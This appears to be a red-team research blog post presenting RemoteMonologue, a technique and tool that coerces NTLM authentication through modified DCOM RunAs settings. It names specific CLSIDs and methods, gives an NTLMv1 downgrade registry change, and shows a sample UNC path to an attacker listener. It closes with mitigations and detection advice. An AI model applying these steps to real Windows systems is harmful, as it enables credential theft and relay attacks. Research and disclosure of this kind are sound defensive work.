RemoteMonologue: Weaponizing DCOM for NTLM authentication coercions

The days of effortlessly acquiring credentials with Mimikatz are, for better or worse, coming to an end. As Microsoft strengthens defenses against credential theft and Endpoint Detection and Response (EDR) solutions continue to advance, traditional red team techniques such as lateral movement, payload execution, and direct access to Local Security Authority Subsystem Service (LSASS) face increasing scrutiny. As a result, the Red Team community has been forced to explore alternative methods to harvest credentials on Windows systems.

Imagine achieving comparable results without the need for an "advanced" payload or accessing LSASS, simply by “living off the land” and leveraging underutilized Component Object Model (COM) objects. If that excites you, lock in, because this blog is packed with fun tricks you can use in your next engagement.

We’ll briefly cover the fundamentals of COM and its distributed counterpart, Distributed Component Object Model (DCOM), dive into the RunAs setting and why authentication coercions are impactful and introduce a new credential harvesting tool - RemoteMonologue.

The Component Object Model (COM) is one of the oldest and most pervasive technologies in Windows, quietly operating behind the scenes of everyday applications and services. Despite its age, COM remains a valuable resource for attackers, offering alternative ways to achieve lateral movement, privilege escalation and persistence. Yet, its inherent complexity has left much of its attack surface underexplored.

For this blog, the key concepts to understand are:

• COM: A core Windows technology that enables software components to interact with each other across process boundaries. COM allows programs to reuse functionality from other programs without duplicating functionality. For example, a program could use a COM object to read system logs or add new entries to an Excel file without implementing these features itself.
• Distributed Component Object Model (DCOM) An extension of COM that enables network-based communication. With DCOM, a process running on one machine can invoke functions on a COM object located on another machine. This network-based capability has made DCOM a valuable tool for lateral movement. Accessing DCOM objects typically requires local administrator privileges on the remote system.

At a high level, think of COM objects as self-contained units with two main components:

• Properties: These represent the object’s state or configuration.
• Methods: These represent actions the object can perform. For example, a COM object might have a Method to launch a process, create a file or initiate an authentication request.

Attackers can abuse these methods to facilitate lateral movement and, as we will illustrate shortly, coerce remote NTLM authentications for password cracking and relay attacks.

Before diving into the fun stuff, one important component of COM needs to be discussed in greater detail. An Application Identifier (AppID) in COM serves as a key mechanism for managing the security, identity and runtime behavior of COM applications, particularly in scenarios involving DCOM or applications that require specific security contexts. When a COM class is registered with an AppID, it inherits the security settings defined for that AppID.

The security setting of particular interest is the RunAs key, which specifies which user account will be used to execute a DCOM object upon instantiation. The RunAs key can be found in the registry under:

• HKEY_CLASSES_ROOT\AppID\{AppID_GUID}

While reviewing Microsoft’s documentation on DCOM and the RunAs key, one specific value stood out: Interactive User. This value configures the DCOM object to execute under the security context of the user currently logged into the system’s console session. From an offensive perspective, this is interesting because it could allow us to leverage DCOM objects to operate as another user without knowing the affected user’s credentials.

Not all DCOM objects with an AppID have a RunAs value set to Interactive User. In fact, approximately half of the AppIDs don’t have a RunAs value set at all. However, what if the RunAs value could be added or modified to suit our purposes?

By default, an AppID in the registry is secured with a Discretionary Access Control List (DACL), granting TrustedInstaller ownership privileges and restricting local administrators to read-only access, as shown in Figure 1.

However, local administrators are granted the SeTakeOwnershipPrivilege privilege, which allows them to take ownership of system objects, including registry keys. This privilege is relevant for this attack because it enables us to change the ownership of an AppID. Once ownership is changed, we can grant ourselves Full Control permissions over the AppID and subsequently modify its settings to add or alter the RunAs value.

Once the RunAs value is modified to Interactive User, the attack becomes straightforward. This allows us to force a DCOM object to run in the context of another active session. However, the success of this attack ultimately depends on the Properties and Methods exposed by the specific DCOM object being targeted.

Now that we know it’s possible to convert a DCOM object into a session hijacking tool, the next step is to identify which Methods and Properties can be leveraged to complete the hijack. For this research, I explored whether user compromise could be achieved without running a payload - taking a different approach from most public DCOM lateral movement techniques.

I focused on achieving comparable results in a “fileless” format, meaning there’s no need to transfer or execute a payload on the target system. This distinction is important because transferring and running payloads on a target system is often considered an “expensive” action in Red Team operations. By avoiding this step, the risk of triggering common security controls is significantly reduced. Therefore, I aimed to compromise remote user accounts by coercing an NTLM authentication via DCOM.

There are several key benefits to coercing NTLM authentications rather than performing traditional lateral movement techniques:

• Capture NTLMv1/NTLMv2 hashes and attempt to crack them offline
• Relay NTLMv1 or WebDAV NTLMv2 hashes to other network services, such as LDAP or SMB, to perform actions as the affected user
• Avoid transferring and running a payload on the target system, which typically draws more scrutiny from security tools
• Avoid touching the LSASS process, thereby reducing detection risks

As of this writing, LDAP signing and channel binding are not required and enforced by default on most domain controllers. These security features are only mandatory on Windows Server 2025. This means that if we can coerce a NTLMv1 or WebDAV authentication from the target system, we can relay it to LDAP and perform actions as the affected user. Similarly, SMB signing is not required by default on Windows servers, except for domain controllers.

Another important consideration is that NTLMv1 hashes can be trivially cracked using rainbow tables, which have been publicly shared by Nic Losby as of December 2024. These tables drastically reduce the time and effort required to recover NTLM credentials from NTLMv1 hashes. To obtain an NTLMv1 hash instead of an NTLMv2 hash, we modify the following registry key on the target system:

• HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel

Setting LmCompatibilityLevel to a value of 2 or less forces the system to fall back to NTLMv1 for authentication. This modification is possible with local administrator privileges and is commonly referred to as a “NetNTLMv1 downgrade attack”.

Alternatively, we can capture a WebDAV authentication and relay it to LDAP, as HTTP-based authentications can be forwarded to this service. If the WebClient service is not already running with privileged access, we can remotely enable it on the target system. Once enabled, we can coerce a WebDAV NTLM authentication to our listener by specifying the machine’s NetBIOS name in the UNC path. For example:

• \\MYHACKERBOX@80\giveme\creds.txt

For more information on NTLM relay attacks and the protocols that can be relayed to different endpoints, refer to the following resource here.

During my research, I analyzed the ServerDataCollectorSet DCOM object, which has the CLSID {03837546-098B-11D8-9414-505054503030}, to identify Methods and Properties that could be leveraged for authentication coercion. One property that stood out was DataManager, and fortunately, this COM object included a Type Library, which defines its Methods and Properties in greater detail.

Using OleView.NET, I reviewed the ServerDataCollectorSet’s Type Library and discovered that the DataManager property had an Extract method that expects two parameters:

1. CabFilename – The name of a CAB file to extract.
2. DestinationPath – The path to extract the contents of the CAB file.

The presence of the CabFilename parameter was particularly interesting because it suggested the possibility of supplying a UNC path, which could result in a network authentication action.

To test this theory, I supplied a UNC path for the CabFilename parameter pointing to my system (172.22.164.58) running Responder, as shown in Figure 4. The result? Success! We were able to capture an NTLMv2 hash, as shown in Figure 5.

Next, I tested whether it was possible to capture credentials from a different user on a remote system (172.22.166.170) by modifying the ServerDataCollectorSet’s RunAs key. To achieve this, I used the Remote Registry service to add the Interactive User value for the AppID {03837503-098B-11D8-9414-505054503030}.

Once a different user was logged into the target system (in this case, GALAXY\yoda), I accessed the ServerDataCollectorSet DCOM object as GALAXY\Administrator and executed the same Extract method shown in Figure 6. Once again, I successfully captured an authentication; however, this time from GALAXY\yoda, as shown in Figure 7. This demonstrates that modifying the RunAs key to Interactive User enables us to leverage DCOM objects to hijack sessions from other users.

This attack flow is shown in the diagram below.

Another interesting DCOM object susceptible to authentication coercion is FileSystemImage, which has the CLSID {2C941FC5-975B-59BE-A960-9A2A262853A5}. This object is particularly unique because the coercion is triggered by simply modifying a Property rather than invoking a Method - a less common technique in DCOM-based attacks.

The property in question is WorkingDirectory, which, by default, points to the %TEMP% folder of the interactive user. However, by changing the WorkingDirectory value to a UNC path pointing to our listener, it is possible to capture an NTLMv2 authentication, as shown in Figures 9 and 10.

To validate its session hijacking capabilities, I tested this remotely by setting the RunAs key for the AppID {2C941FD1-975B-59BE-A960-9A2A262853A5} to Interactive User. This configuration triggered the FileSystemImage DCOM object to execute under the security context of the active user on the target system. And, as expected, I was able to capture the NTLMv2 hash for that user.

This technique demonstrates that authentication coercions could be achieved by modifying Properties as well as Methods, thereby expanding the potential attack surface of DCOM objects.

One final DCOM object worth sharing is UpdateSession, which has the CLSID {4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}. When reviewing its Type Library, the AddScanPackageService Method stood out because it required a serviceName argument and, more interestingly, a scanFileLocation argument. The presence of scanFileLocation hinted that it might accept a UNC path.

When testing this theory, we successfully captured an NTLMv2 authentication, but instead of receiving the user account’s credentials, we received the machine account’s credentials, as illustrated below.

This finding is particularly interesting because, even after adding a RunAs key and setting it to Interactive User, the UpdateSession DCOM object still performed network operations as the machine account. So, why does this happen? The simple answer is that, while the DCOM object itself runs under the security context of the instantiating or interactive user, the network operations are performed by a separate process: svchost.exe. The UNC path is handed off to svchost.exe, which always defaults to the SYSTEM account for these operations. Therefore, the RunAs key setting does not impact this behavior.

Although the RunAs key doesn’t influence the account used for network operations, capturing machine account credentials is still valuable for several attack scenarios:

1. Access to interesting DACL permissions in Active Directory:
   Machine accounts (e.g., DOMAIN\MACHINE$) could have permissions to specific objects in the Active Directory that may be useful for lateral movement or privilege escalation.
2. Forging silver tickets for extra evasion:
   We can use a machine account’s NTLM hash to forge a silver ticket, allowing us to impersonate any user on the system and perform actions with a reduced risk of detection.

This attack has been coined RemoteMonologue, as it functions similarly to InternalMonologue, with the key distinction that it performs the attack remotely. The tool was developed in Python using the Impacket library and automates the attack process.

RemoteMonologue provides the ability to target any of the three aforementioned DCOM objects (-dcom) to perform authentication coercion against a specified listener (-auth-to). Additionally, it features a spraying module (-spray) to validate credentials across multiple systems, with the added benefit of capturing credentials. The tool also supports a NetNTLMv1 downgrade attack (-downgrade) and has an option to enable the WebClient service to facilitate HTTP authentications (-webclient). Lastly, the tool includes a querying module (-query) to enumerate users with an active session on the target system.

Below is an example of running RemoteMonologue with the NetNTLMv1 downgrade attack while using Responder as the listener. By default, if no DCOM option is specified, the tool uses the ServerDataCollectorSet DCOM object.

Below is another example. This time, the attack is executed using the FileSystemImage DCOM object and enabling the WebClient service to obtain an HTTP authentication, which is then relayed to LDAP using ntlmrelayx.

To protect against and detect the techniques described in this blog, several preventative and detection measures can be implemented.

Preventative measures:

1. Enable LDAP signing and channel binding: Configure LDAP signing enforcement and channel binding on domain controllers to protect the LDAP endpoint from relay attacks. Note: These settings will be enforced by default starting with Windows Server 2025.
2. Upgrade to the latest Windows versions: Upgrade servers to Windows Server 2025 and workstations to Windows 11 version 24H2 to mitigate NetNTLM downgrade attacks, as NTLMv1 has been removed in these versions.
3. Enforce SMB signing: Enable and enforce SMB signing on Windows servers to prevent SMB relay attacks.
4. Implement strong password policies: Enforce strong password requirements to make password-cracking attacks more challenging.

Detection opportunities:

1. Monitor remote access to DCOM objects: Track access to the affected DCOM objects and their specific Properties and Methods to identify unusual activity.
2. Monitor registry modifications: Monitor changes to the RunAs and LmCompatibilityLevel registry keys.
3. Track WebClient service activity: Monitor for instances where the WebClient service is enabled remotely, as this is used to facilitate HTTP-based NTLM authentications.

The RemoteMonologue attack showcases how underutilized DCOM objects can be weaponized to perform stealthy, fileless authentication coercion attacks. By modifying specific properties and leveraging techniques like NetNTLMv1 downgrade, attackers can compromise user accounts and escalate privileges without deploying payloads or directly accessing sensitive processes like LSASS.

By focusing on hardening key systems, such as enforcing LDAP signing, SMB signing and disabling legacy protocols like NTLMv1, defenders can significantly reduce the attack surface. Furthermore, robust monitoring of registry modifications, DCOM activity and remote service changes can help detect these techniques in their early stages and mitigate their impact.